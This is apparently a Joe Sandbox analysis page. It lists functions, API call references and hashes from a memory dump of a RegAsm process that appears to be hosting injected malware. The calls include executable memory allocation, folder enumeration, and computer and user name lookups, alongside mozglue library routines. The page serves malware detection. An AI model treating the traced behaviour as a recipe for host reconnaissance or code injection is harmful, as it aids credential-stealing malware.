Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,01424080), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: d960752c4311bc287c46e40f2d09a09b527c12de4060fecb8626a5b241c9c805
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: d960752c4311bc287c46e40f2d09a09b527c12de4060fecb8626a5b241c9c805
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6CB56C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB56CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB56D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CB56D26

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CB56D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB56D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CB56D73
free.MOZGLUE(00000000), ref: 6CB56D80
CertGetNameStringW.CRYPT32 ref: 6CB56DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CB56DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB56DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CB56DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CB56E10
CryptMsgClose.CRYPT32(00000000), ref: 6CB56E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CB56E34
CreateFileW.KERNEL32 ref: 6CB56EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CB56F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB56F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CB5709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB57103
free.MOZGLUE(00000000), ref: 6CB57153
CloseHandle.KERNEL32(?), ref: 6CB57176
__Init_thread_footer.LIBCMT ref: 6CB57209
__Init_thread_footer.LIBCMT ref: 6CB5723A
__Init_thread_footer.LIBCMT ref: 6CB5726B
__Init_thread_footer.LIBCMT ref: 6CB5729C
__Init_thread_footer.LIBCMT ref: 6CB572DC
__Init_thread_footer.LIBCMT ref: 6CB5730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB573C2
VerSetConditionMask.NTDLL ref: 6CB573F3
VerSetConditionMask.NTDLL ref: 6CB573FF
VerSetConditionMask.NTDLL ref: 6CB57406
VerSetConditionMask.NTDLL ref: 6CB5740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB5741A
moz_xmalloc.MOZGLUE(?), ref: 6CB5755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB57568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CB57585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB57598
free.MOZGLUE(00000000), ref: 6CB575AC

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

Strings

(, xrefs: 6CB5768A
wintrust.dll, xrefs: 6CB572CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CB572C8
SHA256, xrefs: 6CB56EC0

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 1a314e7cde7204a7d417a6278f07976de086946493185b3cb2d4e0e0a429321e
Instruction ID: dfb5e11ebca46f86c019915a1885b255359d5a00017f447a850e002f8f033dfe
Opcode Fuzzy Hash: 1a314e7cde7204a7d417a6278f07976de086946493185b3cb2d4e0e0a429321e
Instruction Fuzzy Hash: 9452D1B1A10294DFEB21DF24CC84BAE77BCEB49714F108199E909A7640DB70AF95CF91

Function 6CB8F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB8F09B

Part of subcall function 6CB65B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB656EE,?,00000001), ref: 6CB65B85
Part of subcall function 6CB65B50: EnterCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65B90
Part of subcall function 6CB65B50: LeaveCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65BD8
Part of subcall function 6CB65B50: GetTickCount64.KERNEL32 ref: 6CB65BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB8F0AC

Part of subcall function 6CB65C50: GetTickCount64.KERNEL32 ref: 6CB65D40
Part of subcall function 6CB65C50: EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB65D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB8F0BE

Part of subcall function 6CB65C50: __aulldiv.LIBCMT ref: 6CB65DB4
Part of subcall function 6CB65C50: LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB65DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CB8F155
GetCurrentThreadId.KERNEL32 ref: 6CB8F1E0
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F1ED
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F212
GetCurrentThreadId.KERNEL32 ref: 6CB8F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB8F248
GetCurrentThreadId.KERNEL32 ref: 6CB8F2AE
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F2BB
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F2F8

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8F350
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F35D
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F381
GetCurrentThreadId.KERNEL32 ref: 6CB8F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F3A0
GetCurrentThreadId.KERNEL32 ref: 6CB8F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F491

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB8F3CF

Part of subcall function 6CB8F070: GetCurrentThreadId.KERNEL32 ref: 6CB8F440
Part of subcall function 6CB8F070: AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F44D
Part of subcall function 6CB8F070: ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB8F4A8
GetCurrentThreadId.KERNEL32 ref: 6CB8F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F561
GetCurrentThreadId.KERNEL32 ref: 6CB8F577
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F585
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB8F499
[I %d/%d] profiler_resume, xrefs: 6CB8F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CB8F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB8F56A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
